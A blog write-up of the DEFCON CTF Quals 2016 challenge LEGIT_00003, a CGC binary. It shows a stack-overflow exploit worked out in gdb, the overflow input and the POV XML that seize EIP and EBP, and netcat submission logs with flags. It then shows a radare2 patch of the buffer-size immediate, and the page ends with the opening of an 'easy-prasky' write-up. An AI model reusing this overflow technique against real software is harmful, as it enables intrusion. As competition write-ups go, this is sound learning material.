Monday, May 23, 2016

DEFCON CTF Quals 2016 - LEGIT_00003 & Patched





This was one of those challenges I had to dive into a lot of research for. As mentioned in this post - DEFCON CTF Quals 2016 - Easy Prasky

It was the first time I've experienced the CGC infrastructure. A note for next year also is to check the LegitBS blog/twitter stream to find useful obvious hints such as this - https://blog.legitbs.net/2016/05/what-is-decree.html

Psychologically the CGC challenges seemed out of reach and meant for teams with bots already setup, but on second thought how many of those teams really exist out there? So we decided to take a whack at it out of pure curiosity.




Let's play Robot.


First thing's first, we'll try connecting to the server:

$ nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648
How many bytes is your POV?
4
Ok...send it
AAAA
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100


Interesting, much different than the previous challenge we did (easy-prasky) where it wanted base64 encoded input. This looks a lot more like a custom environment setup for receiving challenge solutions, it had a taste of custom CGC code again, just like when we first saw the strings output on the previous binary.


Exploitation was very simple (mainly need to get eip control & one register for these challenges). It happened almost instantly:

vagrant@v:/vagrant$ ulimit -c unlimited

vagrant@v:/vagrant$ ./legit_00003
1) Gimme Name
2) Print Name
3) Exit
: 1
Enter Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

vagrant@v:/vagrant$ gdb ./legit_00003 core
...
(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

This wasn't quite it, but more on that later...

It's also interesting to note that a lot of the CGC environment had to be built around the custom CGC format. You can see this by browsing their github page - https://github.com/CyberGrandChallenge

We see things in here such as "clang-cgc", "binutils", "strace", "gdb", "readcgcef", etc.

Also worth noting "cb-testing", "cgc-release-documentation", "cgc2elf", "pov-xml2c" and "samples" - but we'll get to those later.

They also have a full testing framework setup for verifying PoV's (Proof of Vulnerabilities).
This became invaluable when testing for the final result. During the competition I thought how nice this could be verifying automated intelligent fuzzing & exploration attempts.


The first thing I did was create a small python script to generate a pov xml file for us. I'll post it here, though we didn't end up using this at all for the final result.

#!/usr/bin/env python

TEMPLATE = """
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-replay/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>{}</replay>
</pov>
"""

def createReadString(data):
  return "<read><length>{}</length><match><data>{}</data></match></read>\n".format(len(data), data)

def createWriteString(data):
  return "<write><data>{}</data></write>\n".format(data)


def main():
  a = "\n"
  a += createReadString("1) Gimme Name")
  a += createReadString("2) Print Name")
  a += createReadString("3) Exit")
  a += createReadString(":")
  a += createWriteString(1)
  a += createReadString("Enter Name:")
  a += createWriteString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB")
  
  print TEMPLATE.format(a)

if __name__ == "__main__":
  main()


Something about the POV format was very recognizable, even though it was in a nasty XML format, it was very similar to using pwntools where you read some strings, write some strings and have some constants supplied for various overwrites.
After a lot of trial and error, I ended up forming this file all by hand. It also took me a while to find that the remote server wanted a binary POV, not an XML one.

This repo is what really what helped it click for me. We needed a povxml file with a negotiation, including a IP & Reg var provided with the payload. Also had read through the XML DTD Spec for POV structure - https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/cfe-pov.dtd



Another useful place to look was the CGC docs site: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/
(Same content as what was shown on GitHub, but a little more readable & organized.)

The service template provided a very nice povxml example to work with:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>service</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFEFEFEFE</ipmask>
            <regmask>0xFEFEFEFE</regmask>
            <regnum>2</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim></read>
    <read echo="yes"><delim>\n</delim></read>
    <write echo="yes">
        <data>ABC</data>
        <var>TYPE1_IP</var>
        <var>TYPE1_REG</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


This could also help with setting up the environment, but I found I was deleting more than if I constructed it from scratch:

cp -r /usr/share/cgc-sample-challenges/templates/service-template/ /vagrant/my-cb


So how do we build this PoV ?

Thanks to @unixist for pointing out that vagrant mounts the outside directory to /vagrant in the VM, that was incredibly useful when trying out various tools and when it came to patching this LEGIT_00003 binary.

First let's start by creating a pov directory in the home drive of the vagrant box. We need to drop a Makefile in here to facilitate the creation of pov binaries and validation of those pov's as well as any patched binaries we may have.

The directory structure should looks something like this:

vagrant@v:~/pov$ ll

drwxr-xr-x  6 vagrant vagrant 4.0K May 22 23:12 .
drwxr-xr-x 16 vagrant vagrant 4.0K May 22 23:12 ..
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 bin
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003_patched
-rw-r--r--  1 vagrant vagrant  143 May 22 08:42 Makefile
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 pov
  -rw-r--r--  1 vagrant vagrant 1.1K May 22 19:10 POV_00001.povxml


The Makefile looks like this (modified from one of the samples):

AUTHOR_ID  = LEGIT
SERVICE_ID = 00003
CFLAGS     = -O0 -g -Werror -Wno-overlength-strings -Wno-packed

include /usr/share/cb-testing/cgc-cb.mk

The two binaries in the bin directory are just copies of the same one pulled from the legit_00003 challenge description.

The POV we'll get to soon.

First we need to fix that exploit. Last we saw it was segfaulting, but for the wrong reason. I'm usually caught up doing forensics, stego or web challenges for CTF's so I reached out to @Matir and he mentioned that it's calling some other functions before returning to 0x41414141, obvious in retrospect, but very helpful for figuring out what was wrong with my current approach.

If you remember we have something like this:

(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

But we want something like this:

(gdb) bt
#0  0x41414141 in ?? ()

In GDB/Radare2 we can start to see our problem:

(gdb) x/i 0x08048201
=> 0x8048201: mov    BYTE PTR [ecx+eax*1],dl
(gdb) i r eax
eax            0x0 0
(gdb) i r ecx
ecx            0x41414141 1094795585
(gdb) i r dl
dl             0x6e 110





It's attempting to load 0x6e into the memory address of [ecx+eax*1] or [0x41414141] .. This is not going to work.

My first instinct (which is what I stuck with) was to just throw a stack value there instead. My initial POV was looking for ecx (1)

Note again the Regnum values here: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/


So after grabbing an arbitrary stack value and pushing that into the area which will be consumed @ 0x8048201 instead seemed to work:

echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003
Segmentation fault (core dumped)

or

$ echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA\xef\xbe\xad\xde\xd3\xc0\xde\xfa\n' | ./legit_00003
Segmentation fault (core dumped)

$ gdb ./legit_00003 core
#0  0xfadec0d3 in ?? ()

(gdb) i r
eax            0x48 72
ecx            0xbaaaaeaa -1163219286
edx            0xbaaaae47 -1163219385
ebx            0x0 0
esp            0xbaaaaf3c 0xbaaaaf3c
ebp            0xdeadbeef 0xdeadbeef
esi            0x41414141 1094795585
edi            0x0 0
eip            0xfadec0d3 0xfadec0d3
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x7b 123
gs             0x7b 123
(gdb)


Now we can have a working exploit and can add it to the POV!

Remember we need EIP control & some register control in this Type 1 POV.
We also want to specify EBP as our controlled register, so looking that up, we can see it has the regnum of 5.

These two variables stand in to test that the EIP & register values have been tainted. So be sure to add these in the appropriate locations where your EIP control is and register control.

        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>


This was what I ended up with for the final PoV XML file used for testing LEGIT_00003 & LEGIT_00003_patched:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>LEGIT_00003</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFFFFFFFF</ipmask>
            <regmask>0xFFFFFFFF</regmask>
            <regnum>5</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim><match><data>1) Gimme Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>2) Print Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>3) Exit\n</data></match></read>
    <read echo="yes"><length>1</length><match><data>:</data></match></read>
    <write echo="yes"><data>1\n</data></write>
    <read echo="yes"><length>12</length><match><data> Enter Name:</data></match></read>
    <write echo="yes">
        <!-- echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003 -->
        <data>IIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA</data>
        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


Running make in the ~/pov directory, it successfully runs the pov against the challenge binary, expecting it to core, and checking the eip/reg control.

The binary POV will be dropped in the same pov directory as your *.povxml files. Now that we have this, we can send it back to the challenge server:

 $ (echo `cat pov-for-00004|wc -c` && cat ./pov-for-00004; cat) | nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648

How many bytes is your POV?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100
# launching cb-replay-pov --host 127.114.161.48 --port 2660 --timeout 30 --negotiate /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# cb-server: connection from: 127.0.0.1:44913
# cb-server: negotation flag: 1
# cb-server: seed: D0EAEE8925846776B1F7E6381A7EB7459474AAAA0E88F400731002D0BAF547A1DAA63E08F4E9F4535A49F29007982E34
# cb-server: stat: legit_00003 filesize 88052
# cb-server: register states - eax: 00000048 ecx: baaaaeaa edx: baaaae47 ebx: 00000000 esp: baaaaf3c ebp: e7afc747 esi: 41414141 edi: 00000000 eip: 232e83bd
# cb-server: CB generated signal (pid: 22, signal: 11)
# cb-server: total children: 1
# cb-server: total maxrss 0
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 1581820
# cb-server: total sw-task-clock 1581455
# /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# using seed: d0eaee8925846776b1f7e6381a7eb7459474aaaa0e88f400731002d0baf547a1daa63e08f4e9f4535a49f29007982e34
# negotiation type: 1
# type 1 masks: ffffffff ffffffff
# type 1 pov: 232e83bd e7afc747 5
# POV type 1 negotiated masks: ffffffff ffffffff 5
ok - TYPE 1 POV
The flag is: Superman, Stuporhero and a Massachusetts Slurpee.


The wc in the front was to give it the amount of bytes for the received binary, and cat is there to sustain the connection.

The flag is: Superman, Stuporhero and a Massachusetts Slurpee.




Now onto patching.....

Only 30 minutes was left on the clock when I decided to go for the patch on this, could've given up easily but decided to go for it!

The POV has been built to check both the unpatched CB and the patched one (currently sitting the same exact binary as the unpatched). Currently when running the cb-replay / cb-test we get only the unpatched expected core passing.

So the next step is to fix the vulnerability, let's fire up radare2 again and see what we can find.

First starting to look at where the closest stdout is to the vulnerability, seeking to the XRef related to that string.

[0x08048110]> iz | grep -i enter
vaddr=0x08049467 paddr=0x00001467 ordinal=001 sz=13 len=12 section=.rodata type=ascii string=Enter Name:



Here we are.. 0x08048280.

Notice the two highlighted matches of 0x30, the second one is the immediate we need to modify.

We can open the binary up in read-write mode with the following command:

:> oo+
File ./legit_00003 reopened in read-write mode


Seeking to 0x080482e4 we see the culprit to modify.



In radare2, patching this is as simple as using the interactive assembler, you can get to this by hitting A in visual mode (loved utilizing this for patching GitSC's Pwn Adventures).



Using .hex, we can insert hex instead of asm instructions. Since we just need to change that immediate, it makes the change very simple, one character:





Changing 0x30 to 0x20 may not be reasonable in production code specs, but it works to solve the vulnerability.

Exiting out of the interactive assembler will ask you to save, simply press Y and you've got a patched CGC binary!

Now we can switch back over to our Vagrant VM and try it out, copying the new patched file to ./bin/LEGIT_00003_patched

Before copying it over we got the message:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched
# not ok - POV type 1 expected to not core, but did. (signal 11: SIGSEGV)
make: *** [check] Error 255


After the copy we get:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched


Aaand sending it to the server:

$ (echo `cat legit_00003_p1|wc -c` && cat ./legit_00003_p1; cat) | nc legit_00003_patch_01852870a8d9ad56a54d832d5cc62dad.quals.shallweplayaga.me 17225
How many bytes is your patched CB?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2305 -m 10 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay --host 127.177.251.145 --port 2305 --timeout 30 --negotiate /home/legit_00003_patch/polls/GEN_00000.xml /home/legit_00003_patch/polls/GEN_00001.xml /home/legit_00003_patch/polls/GEN_00002.xml /home/legit_00003_patch/polls/GEN_00003.xml /home/legit_00003_patch/polls/GEN_00004.xml /home/legit_00003_patch/polls/GEN_00005.xml /home/legit_00003_patch/polls/GEN_00006.xml /home/legit_00003_patch/polls/GEN_00007.xml /home/legit_00003_patch/polls/GEN_00008.xml /home/legit_00003_patch/polls/GEN_00009.xml
# cb-server: connection from: 127.0.0.1:48580
# cb-server: negotation flag: 1
# cb-server: seed: C31E3A7F7869159E2B9CB43DFDF71A509D459BF64010E5C8B9EA2B89896F61145307C2DCCE5D7E39B8F1F653C25FDCB0
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 24, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450239
# cb-server: total sw-task-clock 4458616
# cb-server: CB exited (pid: 23, exit code: 0)
# cb-server: connection from: 127.0.0.1:45363
# cb-server: negotation flag: 1
# cb-server: seed: 8E93095CDF61C2655E80F1CAF35119A78E1B2F275853E045176326358DAF83E6D9F8B4326B61A736F284641E4ABB9F55
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 26, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4435595
# cb-server: total sw-task-clock 4443390
# cb-server: CB exited (pid: 25, exit code: 0)
# cb-server: connection from: 127.0.0.1:53608
# cb-server: negotation flag: 1
# cb-server: seed: 62E5D85E053740972A5687C15990154513D19189651CD65967C9BB9ED208B3714B46F809403681A19F521364AA3D83B8
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 28, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4415443
# cb-server: total sw-task-clock 4426033
# cb-server: CB exited (pid: 27, exit code: 0)
# cb-server: connection from: 127.0.0.1:35391
# cb-server: negotation flag: 1
# cb-server: seed: 62882C9E2CD5D660DB1C7E4AD15EA760A84F2B66E480F570BA9497553B76CB26C1C288A809CDD3B1EC03A4F914AE0B46
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 30, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4571481
# cb-server: total sw-task-clock 4582952
# cb-server: CB exited (pid: 29, exit code: 0)
# cb-server: connection from: 127.0.0.1:53001
# cb-server: negotation flag: 1
# cb-server: seed: FE202FB0E028B1BCECED407241BD9907910F91D80BF3A04AA71F4DE7C5787F168D067D3E75E5626CB82C322DBFCB7BB9
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 32, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4356517
# cb-server: total sw-task-clock 4366848
# cb-server: CB exited (pid: 31, exit code: 0)
# cb-server: connection from: 127.0.0.1:44519
# cb-server: negotation flag: 1
# cb-server: seed: 581D18F2BDBE875F5803017FCDF767345A5BAEEE3BA701FA6D6701DDFBA087F6AB6D7318FA2B510078D45A264F673277
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 34, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450227
# cb-server: total sw-task-clock 4463487
# cb-server: CB exited (pid: 33, exit code: 0)
# cb-server: connection from: 127.0.0.1:42282
# cb-server: negotation flag: 1
# cb-server: seed: 5F22F45B9F220ACECB404BC22EE28BF7740B6C0EB675AFD73491577F8A683E8ABC12683C772CF8907E6ED091A72E829F
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 36, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4605634
# cb-server: total sw-task-clock 4616619
# cb-server: CB exited (pid: 35, exit code: 0)
# cb-server: connection from: 127.0.0.1:39070
# cb-server: negotation flag: 1
# cb-server: seed: C109ECE1C065013EBE5CA0B69B19225F78504B2F2ADF8917FF647F198D8C0C4099043B1A86E73462613DC5F2122EF3E2
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 38, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4430579
# cb-server: total sw-task-clock 4440284
# cb-server: CB exited (pid: 37, exit code: 0)
# cb-server: connection from: 127.0.0.1:50055
# cb-server: negotation flag: 1
# cb-server: seed: E15B879DD393A94B25D31579199FB88019CF66759F84D78D8D1CE34ABBD9F933029000384F33966B0B2FF75F40685A05
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 40, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4422995
# cb-server: total sw-task-clock 4434465
# cb-server: CB exited (pid: 39, exit code: 0)
# cb-server: connection from: 127.0.0.1:34554
# cb-server: negotation flag: 1
# cb-server: seed: 902858EA8E288D6648944B6CEB914E72B214512BE3E3D91B362486159521576554C1B07A6BCE8C59605DB9B763D83521
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 42, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4033543
# cb-server: total sw-task-clock 4039591
# cb-server: CB exited (pid: 41, exit code: 0)
# negotiating seed as c31e3a7f7869159e2b9cb43dfdf71a509d459bf64010e5c8b9ea2b89896f61145307c2dcce5d7e39b8f1f653c25fdcb0
# service - /home/legit_00003_patch/polls/GEN_00000.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 8e93095cdf61c2655e80f1caf35119a78e1b2f275853e045176326358daf83e6d9f8b4326b61a736f284641e4abb9f55
# service - /home/legit_00003_patch/polls/GEN_00001.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 17 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62e5d85e053740972a5687c15990154513d19189651cd65967c9bb9ed208b3714b46f809403681a19f521364aa3d83b8
# service - /home/legit_00003_patch/polls/GEN_00002.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62882c9e2cd5d660db1c7e4ad15ea760a84f2b66e480f570ba9497553b76cb26c1c288a809cdd3b1ec03a4f914ae0b46
# service - /home/legit_00003_patch/polls/GEN_00003.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as fe202fb0e028b1bceced407241bd9907910f91d80bf3a04aa71f4de7c5787f168d067d3e75e5626cb82c322dbfcb7bb9
# service - /home/legit_00003_patch/polls/GEN_00004.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 13 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 581d18f2bdbe875f5803017fcdf767345a5baeee3ba701fa6d6701ddfba087f6ab6d7318fa2b510078d45a264f673277
# service - /home/legit_00003_patch/polls/GEN_00005.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 5f22f45b9f220acecb404bc22ee28bf7740b6c0eb675afd73491577f8a683e8abc12683c772cf8907e6ed091a72e829f
# service - /home/legit_00003_patch/polls/GEN_00006.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as c109ece1c065013ebe5ca0b69b19225f78504b2f2adf8917ff647f198d8c0c4099043b1a86e73462613dc5f2122ef3e2
# service - /home/legit_00003_patch/polls/GEN_00007.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 14 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as e15b879dd393a94b25d31579199fb88019cf66759f84d78d8d1ce34abbd9f933029000384f33966b0b2ff75f40685a05
# service - /home/legit_00003_patch/polls/GEN_00008.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 15 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 902858ea8e288d6648944b6ceb914e72b214512be3e3d91b362486159521576554c1b07a6bce8c59605db9b763d83521
# service - /home/legit_00003_patch/polls/GEN_00009.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# total tests passed: 190
# total tests failed: 0
# polls passed: 10
# polls failed: 0
# launching cb-server --insecure -p 2057 -m 1 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay-pov --host 127.21.144.70 --port 2057 --timeout 30 --negotiate /home/legit_00003_patch/pov_1.pov
# cb-server: connection from: 127.0.0.1:57857
# cb-server: negotation flag: 1
# cb-server: seed: C67B3222B4EFF8031169122D82F8EA7ACE7B0D9026AB893A09F9B7EB2CD5C20184ABB5F1C4FEEB3C5E1066946427ADAA
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 55, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 3894416
# cb-server: total sw-task-clock 3899075
# cb-server: CB exited (pid: 54, exit code: 0)
# /home/legit_00003_patch/pov_1.pov
# using seed: c67b3222b4eff8031169122d82f8ea7ace7b0d9026ab893a09f9b7eb2cd5c20184abb5f1c4feeb3c5e1066946427adaa
# negotiation type: 1
# type 1 masks: 7f7f7f7f 7f7f7f7f
# type 1 pov: 04180167 593a2a30 5
ok - POV type 1 did not core, as expected
Passed functionality tests.
Passed pov test
The flag is: Come get your grape juice and a Sex Coma.


Looks like it worked!


The flag is: Come get your grape juice and a Sex Coma.

Sunday, May 22, 2016

DEFCON CTF Quals 2016 - Easy Prasky


Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.

One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.

No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:

$ tar -xzf easy-prasky.tar.bz2
$ ls -la
  -rw-r--r--   1 user  staff   1.7K May 19 09:47 easy-prasky.tar.bz2
  drwxr-xr-x   3 user  staff   102B May 22 21:07 easy-prasky-with-buffalo-on-bing

$ cd easy-prasky-with-buffalo-on-bing
$ ls -la
  -rwxr-xr-x  1 user  staff   2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing

$ file easy-prasky-with-buffalo-on-bing
  easy-prasky-with-buffalo-on-bing: data


Interesting, just data. Running strings on this we get some more interesting information:

Merino
fffff.
ffff.
fff.
^_[]
SQRV
^ZY[
SQRV
^ZY[
SQRVW
_^ZY[
lddwDrwhkTEBSya_
hacking detected, see ya
canary ok
clang-cgc version 3.4 (9085)
.shstrtab
.text
.rodata
.comment

